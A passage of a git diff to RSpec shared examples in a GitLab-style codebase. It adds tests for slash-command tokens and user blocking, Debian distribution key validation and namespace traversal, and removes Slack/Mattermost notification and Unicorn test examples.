+RSpec.shared_examples Integrations::BaseSlashCommands do
+ describe "Associations" do
+ it { is_expected.to respond_to :token }
+ it { is_expected.to have_many :chat_names }
+ end
+
+ describe '#valid_token?' do
+ subject { described_class.new }
+
+ context 'when the token is empty' do
+ it 'is false' do
+ expect(subject.valid_token?('wer')).to be_falsey
+ end
+ end
+
+ context 'when there is a token' do
+ before do
+ subject.token = '123'
+ end
+
+ it 'accepts equal tokens' do
+ expect(subject.valid_token?('123')).to be_truthy
+ end
+ end
+ end
+
+ describe '#trigger' do
+ subject { described_class.new }
+
+ context 'no token is passed' do
+ let(:params) { {} }
+
+ it 'returns nil' do
+ expect(subject.trigger(params)).to be_nil
+ end
+ end
+
+ context 'with a token passed' do
+ let(:project) { create(:project) }
+ let(:params) { { token: 'token' } }
+
+ before do
+ allow(subject).to receive(:token).and_return('token')
+ end
+
+ context 'no user can be found' do
+ context 'when no url can be generated' do
+ it 'responds with the authorize url' do
+ response = subject.trigger(params)
+
+ expect(response[:response_type]).to eq :ephemeral
+ expect(response[:text]).to start_with ":sweat_smile: Couldn't identify you"
+ end
+ end
+
+ context 'when an auth url can be generated' do
+ let(:params) do
+ {
+ team_domain: 'http://domain.tld',
+ team_id: 'T3423423',
+ user_id: 'U234234',
+ user_name: 'mepmep',
+ token: 'token'
+ }
+ end
+
+ let(:service) do
+ project.create_mattermost_slash_commands_service(
+ properties: { token: 'token' }
+ )
+ end
+
+ it 'generates the url' do
+ response = service.trigger(params)
+
+ expect(response[:text]).to start_with(':wave: Hi there!')
+ end
+ end
+ end
+
+ context 'when the user is authenticated' do
+ let!(:chat_name) { create(:chat_name, integration: subject) }
+ let(:params) { { token: 'token', team_id: chat_name.team_id, user_id: chat_name.chat_id } }
+
+ subject do
+ described_class.create!(project: project, properties: { token: 'token' })
+ end
+
+ it 'triggers the command' do
+ expect_any_instance_of(Gitlab::SlashCommands::Command).to receive(:execute)
+
+ subject.trigger(params)
+ end
+
+ shared_examples_for 'blocks command execution' do
+ it do
+ expect_any_instance_of(Gitlab::SlashCommands::Command).not_to receive(:execute)
+
+ result = subject.trigger(params)
+ expect(result[:text]).to match(error_message)
+ end
+ end
+
+ context 'when user is blocked' do
+ before do
+ chat_name.user.block
+ end
+
+ it_behaves_like 'blocks command execution' do
+ let(:error_message) { 'you do not have access to the GitLab project' }
+ end
+ end
+
+ context 'when user is deactivated' do
+ before do
+ chat_name.user.deactivate
+ end
+
+ it_behaves_like 'blocks command execution' do
+ let(:error_message) { 'your account has been deactivated by your administrator' }
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/models/mentionable_shared_examples.rb b/spec/support/shared_examples/models/mentionable_shared_examples.rb
index 2392658e584..04630484964 100644
--- a/spec/support/shared_examples/models/mentionable_shared_examples.rb
+++ b/spec/support/shared_examples/models/mentionable_shared_examples.rb
@@ -66,7 +66,7 @@ RSpec.shared_examples 'a mentionable' do
expect(subject.gfm_reference).to eq(backref_text)
end
- it "extracts references from its reference property" do
+ it "extracts references from its reference property", :clean_gitlab_redis_cache do
# De-duplicate and omit itself
refs = subject.referenced_mentionables
expect(refs.size).to eq(6)
@@ -98,7 +98,7 @@ RSpec.shared_examples 'a mentionable' do
end
end
- it 'creates cross-reference notes' do
+ it 'creates cross-reference notes', :clean_gitlab_redis_cache do
mentioned_objects = [mentioned_issue, mentioned_mr, mentioned_commit,
ext_issue, ext_mr, ext_commit]
diff --git a/spec/support/shared_examples/models/packages/debian/component_file_shared_example.rb b/spec/support/shared_examples/models/packages/debian/component_file_shared_example.rb
index e6b16d5881d..f08ee820463 100644
--- a/spec/support/shared_examples/models/packages/debian/component_file_shared_example.rb
+++ b/spec/support/shared_examples/models/packages/debian/component_file_shared_example.rb
@@ -142,6 +142,14 @@ RSpec.shared_examples 'Debian Component File' do |container_type, can_freeze|
end
end
+ describe '.with_architecture' do
+ subject { described_class.with_architecture(architecture1_2) }
+
+ it do
+ expect(subject.to_a).to contain_exactly(component_file_other_architecture)
+ end
+ end
+
describe '.with_architecture_name' do
subject { described_class.with_architecture_name(architecture1_2.name) }
@@ -166,12 +174,12 @@ RSpec.shared_examples 'Debian Component File' do |container_type, can_freeze|
end
end
- describe '.created_before' do
- let_it_be(:component_file1) { create("debian_#{container_type}_component_file", component: component1_1, architecture: architecture1_1, created_at: 4.hours.ago) }
- let_it_be(:component_file2) { create("debian_#{container_type}_component_file", component: component1_1, architecture: architecture1_1, created_at: 3.hours.ago) }
- let_it_be(:component_file3) { create("debian_#{container_type}_component_file", component: component1_1, architecture: architecture1_1, created_at: 1.hour.ago) }
+ describe '.updated_before' do
+ let_it_be(:component_file1) { create("debian_#{container_type}_component_file", component: component1_1, architecture: architecture1_1, updated_at: 4.hours.ago) }
+ let_it_be(:component_file2) { create("debian_#{container_type}_component_file", component: component1_1, architecture: architecture1_1, updated_at: 3.hours.ago) }
+ let_it_be(:component_file3) { create("debian_#{container_type}_component_file", component: component1_1, architecture: architecture1_1, updated_at: 1.hour.ago) }
- subject { described_class.created_before(2.hours.ago) }
+ subject { described_class.updated_before(2.hours.ago) }
it do
expect(subject.to_a).to contain_exactly(component_file1, component_file2)
diff --git a/spec/support/shared_examples/models/packages/debian/distribution_key_shared_examples.rb b/spec/support/shared_examples/models/packages/debian/distribution_key_shared_examples.rb
new file mode 100644
index 00000000000..26794c83736
--- /dev/null
+++ b/spec/support/shared_examples/models/packages/debian/distribution_key_shared_examples.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.shared_examples 'Debian Distribution Key' do |container|
+ let_it_be_with_refind(:distribution_key) { create("debian_#{container}_distribution_key") } # rubocop:disable Rails/SaveBang
+
+ subject { distribution_key }
+
+ describe 'relationships' do
+ it { is_expected.to belong_to(:distribution).class_name("Packages::Debian::#{container.capitalize}Distribution").inverse_of(:key) }
+ end
+
+ describe 'validations' do
+ describe "#distribution" do
+ it { is_expected.to validate_presence_of(:distribution) }
+ end
+
+ describe '#private_key' do
+ it { is_expected.to validate_presence_of(:private_key) }
+
+ it { is_expected.to allow_value("-----BEGIN PGP PRIVATE KEY BLOCK-----\n...").for(:private_key) }
+ it { is_expected.not_to allow_value('A').for(:private_key).with_message('must be ASCII armored') }
+ end
+
+ describe '#passphrase' do
+ it { is_expected.to validate_presence_of(:passphrase) }
+
+ it { is_expected.to allow_value('P@$$w0rd').for(:passphrase) }
+ it { is_expected.to allow_value('A' * 255).for(:passphrase) }
+ it { is_expected.not_to allow_value('A' * 256).for(:passphrase) }
+ end
+
+ describe '#public_key' do
+ it { is_expected.to validate_presence_of(:public_key) }
+
+ it { is_expected.to allow_value("-----BEGIN PGP PUBLIC KEY BLOCK-----\n...").for(:public_key) }
+ it { is_expected.not_to allow_value('A').for(:public_key).with_message('must be ASCII armored') }
+ end
+
+ describe '#fingerprint' do
+ it { is_expected.to validate_presence_of(:passphrase) }
+
+ it { is_expected.to allow_value('abc').for(:passphrase) }
+ it { is_expected.to allow_value('A' * 255).for(:passphrase) }
+ it { is_expected.not_to allow_value('A' * 256).for(:passphrase) }
+ end
+ end
+end
diff --git a/spec/support/shared_examples/models/packages/debian/distribution_shared_examples.rb b/spec/support/shared_examples/models/packages/debian/distribution_shared_examples.rb
index 8693d6868e9..5459d17b1df 100644
--- a/spec/support/shared_examples/models/packages/debian/distribution_shared_examples.rb
+++ b/spec/support/shared_examples/models/packages/debian/distribution_shared_examples.rb
@@ -17,6 +17,7 @@ RSpec.shared_examples 'Debian Distribution' do |factory, container, can_freeze|
it { is_expected.to belong_to(container) }
it { is_expected.to belong_to(:creator).class_name('User') }
+ it { is_expected.to have_one(:key).class_name("Packages::Debian::#{container.capitalize}DistributionKey").with_foreign_key(:distribution_id).inverse_of(:distribution) }
it { is_expected.to have_many(:components).class_name("Packages::Debian::#{container.capitalize}Component").inverse_of(:distribution) }
it { is_expected.to have_many(:architectures).class_name("Packages::Debian::#{container.capitalize}Architecture").inverse_of(:distribution) }
end
diff --git a/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb b/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb
deleted file mode 100644
index 09b7d1be704..00000000000
--- a/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb
+++ /dev/null
@@ -1,643 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
- include StubRequests
-
- let(:chat_service) { described_class.new }
- let(:webhook_url) { 'https://example.gitlab.com' }
-
- def execute_with_options(options)
- receive(:new).with(webhook_url, options.merge(http_client: SlackMattermost::Notifier::HTTPClient))
- .and_return(double(:slack_service).as_null_object)
- end
-
- describe "Associations" do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:webhook) }
- it_behaves_like 'issue tracker service URL attribute', :webhook
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:webhook) }
- end
- end
-
- shared_examples "triggered #{service_name} service" do |event_type: nil, branches_to_be_notified: nil|
- before do
- chat_service.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
- end
-
- let!(:stubbed_resolved_hostname) do
- stub_full_request(webhook_url, method: :post).request_pattern.uri_pattern.to_s
- end
-
- it "notifies about #{event_type} events" do
- chat_service.execute(data)
- expect(WebMock).to have_requested(:post, stubbed_resolved_hostname)
- end
- end
-
- shared_examples "untriggered #{service_name} service" do |event_type: nil, branches_to_be_notified: nil|
- before do
- chat_service.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
- end
-
- let!(:stubbed_resolved_hostname) do
- stub_full_request(webhook_url, method: :post).request_pattern.uri_pattern.to_s
- end
-
- it "notifies about #{event_type} events" do
- chat_service.execute(data)
- expect(WebMock).not_to have_requested(:post, stubbed_resolved_hostname)
- end
- end
-
- describe "#execute" do
- let_it_be(:project) { create(:project, :repository, :wiki_repo) }
- let_it_be(:user) { create(:user) }
-
- let(:chat_service) { described_class.new( { project: project, webhook: webhook_url, branches_to_be_notified: 'all' }.merge(chat_service_params)) }
- let(:chat_service_params) { {} }
- let(:data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
-
- let!(:stubbed_resolved_hostname) do
- stub_full_request(webhook_url, method: :post).request_pattern.uri_pattern.to_s
- end
-
- subject(:execute_service) { chat_service.execute(data) }
-
- shared_examples 'calls the service API with the event message' do |event_message|
- specify do
- expect_next_instance_of(Slack::Messenger) do |messenger|
- expect(messenger).to receive(:ping).with(event_message, anything).and_call_original
- end
-
- execute_service
-
- expect(WebMock).to have_requested(:post, stubbed_resolved_hostname).once
- end
- end
-
- context 'with username for slack configured' do
- let(:chat_service_params) { { username: 'slack_username' } }
-
- it 'uses the username as an option' do
- expect(Slack::Messenger).to execute_with_options(username: 'slack_username')
-
- execute_service
- end
- end
-
- context 'push events' do
- let(:data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
-
- it_behaves_like 'calls the service API with the event message', /pushed to branch/
-
- context 'with event channel' do
- let(:chat_service_params) { { push_channel: 'random' } }
-
- it 'uses the right channel for push event' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
-
- execute_service
- end
- end
- end
-
- context 'tag_push events' do
- let(:oldrev) { Gitlab::Git::BLANK_SHA }
- let(:newrev) { '8a2a6eb295bb170b34c24c76c49ed0e9b2eaf34b' } # gitlab-test: git rev-parse refs/tags/v1.1.0
- let(:ref) { 'refs/tags/v1.1.0' }
- let(:data) { Git::TagHooksService.new(project, user, change: { oldrev: oldrev, newrev: newrev, ref: ref }).send(:push_data) }
-
- it_behaves_like 'calls the service API with the event message', /pushed new tag/
- end
-
- context 'issue events' do
- let_it_be(:issue) { create(:issue) }
- let(:data) { issue.to_hook_data(user) }
-
- it_behaves_like 'calls the service API with the event message', /Issue (.*?) opened by/
-
- context 'whith event channel' do
- let(:chat_service_params) { { issue_channel: 'random' } }
-
- it 'uses the right channel for issue event' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
-
- execute_service
- end
-
- context 'for confidential issues' do
- before_all do
- issue.update!(confidential: true)
- end
-
- it 'falls back to issue channel' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
-
- execute_service
- end
-
- context 'and confidential_issue_channel is defined' do
- let(:chat_service_params) { { issue_channel: 'random', confidential_issue_channel: 'confidential' } }
-
- it 'uses the confidential issue channel when it is defined' do
- expect(Slack::Messenger).to execute_with_options(channel: ['confidential'])
-
- execute_service
- end
- end
- end
- end
- end
-
- context 'merge request events' do
- let_it_be(:merge_request) { create(:merge_request) }
- let(:data) { merge_request.to_hook_data(user) }
-
- it_behaves_like 'calls the service API with the event message', /opened merge request/
-
- context 'with event channel' do
- let(:chat_service_params) { { merge_request_channel: 'random' } }
-
- it 'uses the right channel for merge request event' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
-
- execute_service
- end
- end
- end
-
- context 'wiki page events' do
- let_it_be(:wiki_page) { create(:wiki_page, wiki: project.wiki, message: 'user created page: Awesome wiki_page') }
- let(:data) { Gitlab::DataBuilder::WikiPage.build(wiki_page, user, 'create') }
-
- it_behaves_like 'calls the service API with the event message', / created (.*?)wikis\/(.*?)|wiki page> in/
-
- context 'with event channel' do
- let(:chat_service_params) { { wiki_page_channel: 'random' } }
-
- it 'uses the right channel for wiki event' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
-
- execute_service
- end
- end
- end
-
- context 'deployment events' do
- let_it_be(:deployment) { create(:deployment) }
- let(:data) { Gitlab::DataBuilder::Deployment.build(deployment, Time.current) }
-
- it_behaves_like 'calls the service API with the event message', /Deploy to (.*?) created/
- end
-
- context 'note event' do
- let_it_be(:issue_note) { create(:note_on_issue, project: project, note: "issue note") }
- let(:data) { Gitlab::DataBuilder::Note.build(issue_note, user) }
-
- it_behaves_like 'calls the service API with the event message', /commented on issue/
-
- context 'with event channel' do
- let(:chat_service_params) { { note_channel: 'random' } }
-
- it 'uses the right channel' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
-
- execute_service
- end
-
- context 'for confidential notes' do
- before_all do
- issue_note.update!(confidential: true)
- end
-
- it 'falls back to note channel' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
-
- execute_service
- end
-
- context 'and confidential_note_channel is defined' do
- let(:chat_service_params) { { note_channel: 'random', confidential_note_channel: 'confidential' } }
-
- it 'uses confidential channel' do
- expect(Slack::Messenger).to execute_with_options(channel: ['confidential'])
-
- execute_service
- end
- end
- end
- end
- end
- end
-
- describe 'Push events' do
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository, creator: user) }
-
- before do
- allow(chat_service).to receive_messages(
- project: project,
- service_hook: true,
- webhook: webhook_url
- )
-
- stub_full_request(webhook_url, method: :post)
- end
-
- context 'on default branch' do
- let(:data) do
- Gitlab::DataBuilder::Push.build(
- project: project,
- user: user,
- ref: project.default_branch
- )
- end
-
- context 'pushing tags' do
- let(:data) do
- Gitlab::DataBuilder::Push.build(
- project: project,
- user: user,
- ref: "#{Gitlab::Git::TAG_REF_PREFIX}test"
- )
- end
-
- it_behaves_like "triggered #{service_name} service", event_type: "push"
- end
-
- context 'notification enabled only for default branch' do
- it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "default"
- end
-
- context 'notification enabled only for protected branches' do
- it_behaves_like "untriggered #{service_name} service", event_type: "push", branches_to_be_notified: "protected"
- end
-
- context 'notification enabled only for default and protected branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "default_and_protected"
- end
-
- context 'notification enabled for all branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "all"
- end
- end
-
- context 'on a protected branch' do
- before do
- create(:protected_branch, project: project, name: 'a-protected-branch')
- end
-
- let(:data) do
- Gitlab::DataBuilder::Push.build(
- project: project,
- user: user,
- ref: 'a-protected-branch'
- )
- end
-
- context 'pushing tags' do
- let(:data) do
- Gitlab::DataBuilder::Push.build(
- project: project,
- user: user,
- ref: "#{Gitlab::Git::TAG_REF_PREFIX}test"
- )
- end
-
- it_behaves_like "triggered #{service_name} service", event_type: "push"
- end
-
- context 'notification enabled only for default branch' do
- it_behaves_like "untriggered #{service_name} service", event_type: "push", branches_to_be_notified: "default"
- end
-
- context 'notification enabled only for protected branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "protected"
- end
-
- context 'notification enabled only for default and protected branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "default_and_protected"
- end
-
- context 'notification enabled for all branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "all"
- end
- end
-
- context 'on a protected branch with protected branches defined using wildcards' do
- before do
- create(:protected_branch, project: project, name: '*-stable')
- end
-
- let(:data) do
- Gitlab::DataBuilder::Push.build(
- project: project,
- user: user,
- ref: '1-stable'
- )
- end
-
- context 'pushing tags' do
- let(:data) do
- Gitlab::DataBuilder::Push.build(
- project: project,
- user: user,
- ref: "#{Gitlab::Git::TAG_REF_PREFIX}test"
- )
- end
-
- it_behaves_like "triggered #{service_name} service", event_type: "push"
- end
-
- context 'notification enabled only for default branch' do
- it_behaves_like "untriggered #{service_name} service", event_type: "push", branches_to_be_notified: "default"
- end
-
- context 'notification enabled only for protected branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "protected"
- end
-
- context 'notification enabled only for default and protected branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "default_and_protected"
- end
-
- context 'notification enabled for all branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "all"
- end
- end
-
- context 'on a neither protected nor default branch' do
- let(:data) do
- Gitlab::DataBuilder::Push.build(
- project: project,
- user: user,
- ref: 'a-random-branch'
- )
- end
-
- context 'pushing tags' do
- let(:data) do
- Gitlab::DataBuilder::Push.build(
- project: project,
- user: user,
- ref: "#{Gitlab::Git::TAG_REF_PREFIX}test"
- )
- end
-
- it_behaves_like "triggered #{service_name} service", event_type: "push"
- end
-
- context 'notification enabled only for default branch' do
- it_behaves_like "untriggered #{service_name} service", event_type: "push", branches_to_be_notified: "default"
- end
-
- context 'notification enabled only for protected branches' do
- it_behaves_like "untriggered #{service_name} service", event_type: "push", branches_to_be_notified: "protected"
- end
-
- context 'notification enabled only for default and protected branches' do
- it_behaves_like "untriggered #{service_name} service", event_type: "push", branches_to_be_notified: "default_and_protected"
- end
-
- context 'notification enabled for all branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "all"
- end
- end
- end
-
- describe 'Note events' do
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository, creator: user) }
-
- before do
- allow(chat_service).to receive_messages(
- project: project,
- service_hook: true,
- webhook: webhook_url
- )
-
- stub_full_request(webhook_url, method: :post)
- end
-
- context 'when commit comment event executed' do
- let(:commit_note) do
- create(:note_on_commit, author: user,
- project: project,
- commit_id: project.repository.commit.id,
- note: 'a comment on a commit')
- end
-
- let(:data) do
- Gitlab::DataBuilder::Note.build(commit_note, user)
- end
-
- it_behaves_like "triggered #{service_name} service", event_type: "commit comment"
- end
-
- context 'when merge request comment event executed' do
- let(:merge_request_note) do
- create(:note_on_merge_request, project: project,
- note: 'a comment on a merge request')
- end
-
- let(:data) do
- Gitlab::DataBuilder::Note.build(merge_request_note, user)
- end
-
- it_behaves_like "triggered #{service_name} service", event_type: "merge request comment"
- end
-
- context 'when issue comment event executed' do
- let(:issue_note) do
- create(:note_on_issue, project: project,
- note: 'a comment on an issue')
- end
-
- let(:data) do
- Gitlab::DataBuilder::Note.build(issue_note, user)
- end
-
- it_behaves_like "triggered #{service_name} service", event_type: "issue comment"
- end
-
- context 'when snippet comment event executed' do
- let(:snippet_note) do
- create(:note_on_project_snippet, project: project,
- note: 'a comment on a snippet')
- end
-
- let(:data) do
- Gitlab::DataBuilder::Note.build(snippet_note, user)
- end
-
- it_behaves_like "triggered #{service_name} service", event_type: "snippet comment"
- end
- end
-
- describe 'Pipeline events' do
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository, creator: user) }
- let(:pipeline) do
- create(:ci_pipeline,
- project: project, status: status,
- sha: project.commit.sha, ref: project.default_branch)
- end
-
- before do
- allow(chat_service).to receive_messages(
- project: project,
- service_hook: true,
- webhook: webhook_url
- )
-
- stub_full_request(webhook_url, method: :post)
- end
-
- context 'with succeeded pipeline' do
- let(:status) { 'success' }
- let(:data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
-
- context 'with default to notify_only_broken_pipelines' do
- it_behaves_like "untriggered #{service_name} service", event_type: "pipeline"
- end
-
- context 'with setting notify_only_broken_pipelines to false' do
- before do
- chat_service.notify_only_broken_pipelines = false
- end
-
- it_behaves_like "triggered #{service_name} service", event_type: "pipeline"
- end
- end
-
- context 'with failed pipeline' do
- context 'on default branch' do
- let(:pipeline) do
- create(:ci_pipeline,
- project: project, status: :failed,
- sha: project.commit.sha, ref: project.default_branch)
- end
-
- let(:data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
-
- context 'notification enabled only for default branch' do
- it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default"
- end
-
- context 'notification enabled only for protected branches' do
- it_behaves_like "untriggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "protected"
- end
-
- context 'notification enabled only for default and protected branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default_and_protected"
- end
-
- context 'notification enabled for all branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "all"
- end
- end
-
- context 'on a protected branch' do
- before do
- create(:protected_branch, project: project, name: 'a-protected-branch')
- end
-
- let(:pipeline) do
- create(:ci_pipeline,
- project: project, status: :failed,
- sha: project.commit.sha, ref: 'a-protected-branch')
- end
-
- let(:data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
-
- context 'notification enabled only for default branch' do
- it_behaves_like "untriggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default"
- end
-
- context 'notification enabled only for protected branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "protected"
- end
-
- context 'notification enabled only for default and protected branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default_and_protected"
- end
-
- context 'notification enabled for all branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "all"
- end
- end
-
- context 'on a protected branch with protected branches defined usin wildcards' do
- before do
- create(:protected_branch, project: project, name: '*-stable')
- end
-
- let(:pipeline) do
- create(:ci_pipeline,
- project: project, status: :failed,
- sha: project.commit.sha, ref: '1-stable')
- end
-
- let(:data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
-
- context 'notification enabled only for default branch' do
- it_behaves_like "untriggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default"
- end
-
- context 'notification enabled only for protected branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "protected"
- end
-
- context 'notification enabled only for default and protected branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default_and_protected"
- end
-
- context 'notification enabled for all branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "all"
- end
- end
-
- context 'on a neither protected nor default branch' do
- let(:pipeline) do
- create(:ci_pipeline,
- project: project, status: :failed,
- sha: project.commit.sha, ref: 'a-random-branch')
- end
-
- let(:data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
-
- context 'notification enabled only for default branch' do
- it_behaves_like "untriggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default"
- end
-
- context 'notification enabled only for protected branches' do
- it_behaves_like "untriggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "protected"
- end
-
- context 'notification enabled only for default and protected branches' do
- it_behaves_like "untriggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default_and_protected"
- end
-
- context 'notification enabled for all branches' do
- it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "all"
- end
- end
- end
- end
-end
diff --git a/spec/support/shared_examples/namespaces/linear_traversal_examples.rb b/spec/support/shared_examples/namespaces/linear_traversal_examples.rb
new file mode 100644
index 00000000000..2fd90c36953
--- /dev/null
+++ b/spec/support/shared_examples/namespaces/linear_traversal_examples.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+# Traversal examples common to linear and recursive methods are in
+# spec/support/shared_examples/namespaces/traversal_examples.rb
+
+RSpec.shared_examples 'linear namespace traversal' do
+ context 'when use_traversal_ids feature flag is enabled' do
+ before do
+ stub_feature_flags(use_traversal_ids: true)
+ end
+
+ context 'scopes' do
+ describe '.as_ids' do
+ let_it_be(:namespace1) { create(:group) }
+ let_it_be(:namespace2) { create(:group) }
+
+ subject { Namespace.where(id: [namespace1, namespace2]).as_ids.pluck(:id) }
+
+ it { is_expected.to contain_exactly(namespace1.id, namespace2.id) }
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/namespaces/traversal_examples.rb b/spec/support/shared_examples/namespaces/traversal_examples.rb
index 77a1705627e..ccc64c80fd4 100644
--- a/spec/support/shared_examples/namespaces/traversal_examples.rb
+++ b/spec/support/shared_examples/namespaces/traversal_examples.rb
@@ -17,6 +17,28 @@ RSpec.shared_examples 'namespace traversal' do
end
end
+ describe '#root_ancestor' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:nested_group) { create(:group, parent: group) }
+ let_it_be(:deep_nested_group) { create(:group, parent: nested_group) }
+
+ it 'returns the correct root ancestor' do
+ expect(group.root_ancestor).to eq(group)
+ expect(nested_group.root_ancestor).to eq(group)
+ expect(deep_nested_group.root_ancestor).to eq(group)
+ end
+
+ describe '#recursive_root_ancestor' do
+ let(:groups) { [group, nested_group, deep_nested_group] }
+
+ it "is equivalent to #recursive_root_ancestor" do
+ groups.each do |group|
+ expect(group.root_ancestor).to eq(group.recursive_root_ancestor)
+ end
+ end
+ end
+ end
+
describe '#self_and_hierarchy' do
let!(:group) { create(:group, path: 'git_lab') }
let!(:nested_group) { create(:group, parent: group) }
@@ -122,4 +144,20 @@ RSpec.shared_examples 'namespace traversal' do
it_behaves_like 'recursive version', :self_and_descendants
end
end
+
+ describe '#self_and_descendant_ids' do
+ let!(:group) { create(:group, path: 'git_lab') }
+ let!(:nested_group) { create(:group, parent: group) }
+ let!(:deep_nested_group) { create(:group, parent: nested_group) }
+
+ subject { group.self_and_descendant_ids.pluck(:id) }
+
+ it { is_expected.to contain_exactly(group.id, nested_group.id, deep_nested_group.id) }
+
+ describe '#recursive_self_and_descendant_ids' do
+ let(:groups) { [group, nested_group, deep_nested_group] }
+
+ it_behaves_like 'recursive version', :self_and_descendant_ids
+ end
+ end
end
diff --git a/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
index c938c6432fe..20606ae942d 100644
--- a/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
@@ -294,16 +294,6 @@ RSpec.shared_examples 'rejects invalid upload_url params' do
end
end
-RSpec.shared_examples 'successful response when using Unicorn' do
- context 'on Unicorn', :unicorn do
- it 'returns successfully' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
-end
-
RSpec.shared_examples 'recipe snapshot endpoint' do
subject { get api(url), headers: headers }
@@ -372,7 +362,6 @@ RSpec.shared_examples 'recipe upload_urls endpoint' do
it_behaves_like 'rejects invalid recipe'
it_behaves_like 'rejects invalid upload_url params'
- it_behaves_like 'successful response when using Unicorn'
it 'returns a set of upload urls for the files requested' do
subject
@@ -434,7 +423,6 @@ RSpec.shared_examples 'package upload_urls endpoint' do
it_behaves_like 'rejects invalid recipe'
it_behaves_like 'rejects invalid upload_url params'
- it_behaves_like 'successful response when using Unicorn'
it 'returns a set of upload urls for the files requested' do
expected_response = {
diff --git a/spec/support/shared_examples/requests/api/debian_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/debian_packages_shared_examples.rb
index dfd19167dcd..0530aa8c760 100644
--- a/spec/support/shared_examples/requests/api/debian_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/debian_packages_shared_examples.rb
@@ -12,7 +12,35 @@ RSpec.shared_context 'Debian repository shared context' do |container_type, can_
let_it_be(:user, freeze: true) { create(:user) }
let_it_be(:personal_access_token, freeze: true) { create(:personal_access_token, user: user) }
- let(:distribution) { 'bullseye' }
+ let_it_be(:private_distribution, freeze: true) { create("debian_#{container_type}_distribution", container: private_container, codename: 'existing-codename') }
+ let_it_be(:private_component, freeze: true) { create("debian_#{container_type}_component", distribution: private_distribution, name: 'existing-component') }
+ let_it_be(:private_architecture_all, freeze: true) { create("debian_#{container_type}_architecture", distribution: private_distribution, name: 'all') }
+ let_it_be(:private_architecture, freeze: true) { create("debian_#{container_type}_architecture", distribution: private_distribution, name: 'existing-arch') }
+
+ let_it_be(:public_distribution, freeze: true) { create("debian_#{container_type}_distribution", container: public_container, codename: 'existing-codename') }
+ let_it_be(:public_component, freeze: true) { create("debian_#{container_type}_component", distribution: public_distribution, name: 'existing-component') }
+ let_it_be(:public_architecture_all, freeze: true) { create("debian_#{container_type}_architecture", distribution: public_distribution, name: 'all') }
+ let_it_be(:public_architecture, freeze: true) { create("debian_#{container_type}_architecture", distribution: public_distribution, name: 'existing-arch') }
+
+ if container_type == :group
+ let_it_be(:private_project) { create(:project, :private, group: private_container) }
